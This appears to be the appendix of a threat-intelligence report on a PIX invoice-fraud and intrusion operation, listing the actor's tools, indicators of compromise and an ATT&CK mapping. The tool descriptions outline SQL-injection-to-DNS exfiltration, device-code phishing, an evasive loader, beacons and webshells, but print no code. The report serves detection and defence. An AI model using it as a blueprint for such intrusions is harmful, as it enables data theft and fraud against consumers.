| zz_inject.py | Script | SQLi → xp_cmdshell → DNS-exfiltration driver (stolen billing database) |
| dns_recv.py | Script | The operator’s own DNS exfil sink (470K queries received) |
| setup_mega_exfil.sh | Script | rclone-to-cloud “no-VPS” exfil rail, ~140-extension filter, one-command alias |
| exfil_env_v1.py | Script | Byte-by-byte environment-file exfil through a facial-recognition API relay |
| consultor_dump_full.py | Script | Passwordless JWT + sequential-ID walk of iGreen’s customer and partner APIs |
| ig_quick.py / ig_proxy.py | Script | Signed IDOR against iGreen’s second API with a stolen front-end HMAC key |
| dc1.py / m365_device_code.sh | Script | OAuth device-code phishing kits against enterprise Microsoft tenants |
| round96.py | Script | CVE-2023-7028 dual-email password-reset abuse against executives |
| emx_bf_token.py | Script | 4-character token brute-force against a raw-SQL service-desk API |
| deploy_xor.py / build_beacon.py | Script | XOR-wrapped beacon build and deployment through SQL command channels |
| build_adaptix.sh / write_config.py | Script | Compiles the custom gopher agent/listener extenders and bakes in the C2 profile |
| gopher_new.exe / gopher_orig.exe | Binary (Go, PE) | Custom Adaptix agent with BOF loading, screenshots, and PTY shell |
| beacon.dll / svc.dat (x4) | Binary (PE) | HTTP-connector beacon DLL variants for Windows hosts |
| agent_fud_raw.elf / .x11d | Binary (ELF) | Two Linux builds of the gopher agent, one hidden under a dot-file name |
| loader_v2_final.c / sc_fud_new.bin | Source + shellcode | Evasion-grade loader: AES-128-CBC, AMSI/ETW bypass, indirect syscalls, self-delete |
| gsn | Binary (ELF) | Small custom SSL helper, likely a tunnel/shell component |
| wa_wattio.py | Script | Zenvia WhatsApp sender firing “overdue invoice” templates at harvested debtors |
| gse_oob_server.py / gse_h2cl.py | Script | HTTP/2 request-smuggling client with out-of-band callback listener |
| nissei_final.py | Script | Playwright + CAPTCHA-solving automation of a pharmacy chain’s store/delivery flow |
| f01 / f02 script set | Script | Unauthenticated account takeover and CPF mass-enumeration of an employee portal |
| mwpos_deep_exfil.py | Script | Payment-terminal configuration exfil pivoted through a compromised Zabbix API |
| patch_oracle_*.py | Script | Remote self-management of the panel’s Oracle SMS backend over gsocket |
Indicators of Compromise (IOCs)
| Indicator | Type | Context |
|---|---|---|
| yzs[.]fi | Domain | The panel’s own application and admin domain (its BASE_URL) |
| igreenfaturas[.]to | Domain | Fake-invoice host for the iGreen Energia tenant |
| igreenfaturas[.]com | Domain | First generation of the lookalike brand impersonates iGreen Energia |
| wattiofaturas[.]com | Domain | Fake-invoice host for the Wattio tenant |
| nuvfaturas[.]com | Domain | Fake-invoice host for the NUV tenant |
| qrcode.a55scd[.]com.br | Domain | Dynamic-PIX qrcode service |
| pix-proxy-sable.vercel[.]app | Domain | The PIX payment proxy |
| 185[.]242[.]3[.]14 | IPv4 | An earlier server and the first home of the yzs[.]fi domain |
| 85[.]120[.]216[.]8 | IPv4 | First operation server |
| 91[.]92[.]241[.]187 | IPv4 | Latest operation server |
| 91[.]92[.]241[.]184 | IPv4 | Shifted operation server |
| 875F64334AD7FD45C491D0A9A7F0A47002FD1F008AA6FAB6127A20101E03B23CF1807AB13BCF | qTox ID | Threat Actor’s qTox ID |
| 056B1E74A4D4C16C043FC192685DB10941E146E482DD262ADE9DAE77579AEB689049C3CF5E32 | qTox ID | Threat Actor’s 2nd qTox ID |
| d566ccdd099b0decb7e7288c20097f34da2613e3ffe8c5acbc1a1d01b6fe217c | SHA-256 | beacon.dll: x64 beacon DLL |
| c40c1d4bb0e01f217c893f3dbc6b40802a260ef423f628889a48f996a4c96ed8 | SHA-256 | beacon_db01.dll (also wmsvc.dll): database-server beacon |
| 2553146aea0b133d565684a8bdfb14cb91526eb88b4e5b22b129b1212f763dd7 | SHA-256 | beacon_db2.dll: secondary beacon DLL |
| 54caa256483876debd21c264bfc31bd96f925b2167f6d9358ab7ee0c87e6e37b | SHA-256 | gopher_new.exe: custom Go agent, newer config |
| 0c36cf593cf177b87f34abb19b5d65619199a4aca9c8e19e39318ad2c4033385 | SHA-256 | shell.war: Linux JSP command-exec webshell |
| fd72014903466f2abcabb724df58682e629bf300703a06dad4dd0551018a42b5 | SHA-256 | ws.war: Windows JSP command-exec webshell |
| 39aab72976d63f0218c3470c05afce5a896d28f860efaa598288d9409499b26b | SHA-256 | payload.war: Metasploit WAR payload |
| 9a839b1e4c8cc5c0ebac1849973f136e68aae8eba357296be9e6cef9aff35ae6 | SHA-256 | loader_v2_final.c: FUD Loader v2 source |
| 88527b06d836200a36130ee219242e4a8342520df85cb3886769da646dac25c9 | SHA-256 | agent_fud_raw.elf: FUD agent ELF |
| 2ced60c88f5a2b36acb977ebf120e39b527dcff07b5072013350ebeefcabe760 | SHA-256 | sc_fud_new.bin: FUD shellcode blob |
| 6394cb167a33772fc47596e22cd2a51f3dfa9867385d962cb700b78f021c60ca | SHA-256 | gopher_orig.exe: custom gopher agent, earlier config |
| 0b6bb51ef917c32edf75ff65a510b6a136575cfd2075305f7abe7d98e351b8b8 | SHA-256 | svc.dat: fourth beacon DLL variant (HTTP connector) |
| eda93a71e656874077aa76d32d5147ea904ef60504b6b1b22b609969c06fb40b | SHA-256 | .x11d: Linux gopher agent, hidden dot-file build |
| f9b147a2bf6cc53ed4e3c3d4d33efa072c19495ff86fa320a280097d66cb2d92 | SHA-256 | rc_chunk_aa: unresolved PE chunk component |
MITRE ATT&CK Mapping
| Tactic | Technique | Procedure |
|---|---|---|
| Reconnaissance | T1595.001 | Active scanning: IP block enumeration |
| Reconnaissance | T1590 | Gathering victim network information via mass fingerprinting |
| Resource Development | T1583.003 | Rented server infrastructure across three operation hosts |
| Initial Access | T1190 | Exploitation of public-facing applications (GlobalProtect, SQL-facing APIs, GitLab) |
| Initial Access | T1133 | Forged VPN sessions established as external remote services |
| Initial Access | T1566.001 | Spearphishing attachment: fraudulent invoice PDFs |
| Initial Access | T1566.002 | Spearphishing link: bulk SMS/email short links to fake invoice pages |
| Initial Access | T1598 | Phishing for information: OAuth device-code flow against enterprise tenants |
| Initial Access | T1566.004 | Voice phishing: staged “call this number” credential-reset template |
| Execution | T1059.001 | PowerShell launchers for payload staging and lateral movement |
| Execution | T1059.003 | cmd execution via SQL command-execution chains |
| Persistence | T1053.005 | Scheduled tasks with service-like names |
| Persistence | T1505.003 | Webshell tooling |
| Privilege Escalation | T1134.001 | Token impersonation from service contexts; GodPotato present |
| Privilege Escalation | T1068 | Exploitation for privilege escalation (PwnKit-class local exploit present) |
| Defense Evasion | T1027 | Obfuscated files: single-byte XOR payload wrappers |
| Defense Evasion | T1562.001 | AMSI bypass and in-memory loading to disable/evade defenses |
| Defense Evasion | T1090.003 | Multi-hop proxy egress to mask scan/exploit origin |
| Credential Access | T1003.002 | SAM/SYSTEM/SECURITY registry-hive theft |
| Credential Access | T1003.003 | Active Directory database (ntds.dit-class) artifact recovered |
| Credential Access | T1110 | Brute-force and password-spray attempts observed |
| Discovery | T1018 | Remote system discovery post-tunnel |
| Lateral Movement | T1021.006 | Windows Remote Management (PowerShell Remoting) |
| Lateral Movement | T1047 | Windows Management Instrumentation |
| Collection | T1005 | Data from local system: SQLMap exports, application records, identity configuration, credential files |
| Command and Control | T1071.001 | Adaptix HTTP listener |
| Command and Control | T1095 | Adaptix TCP listener (non-application-layer protocol) |
| Exfiltration | T1048.003 | Exfiltration over DNS tunneling to a custom receiver |
| Exfiltration | T1567.002 | Exfiltration to cloud storage via a consumer sync client |
| Impact | T1657 | Financial theft: PIX-based invoice fraud against consumers |

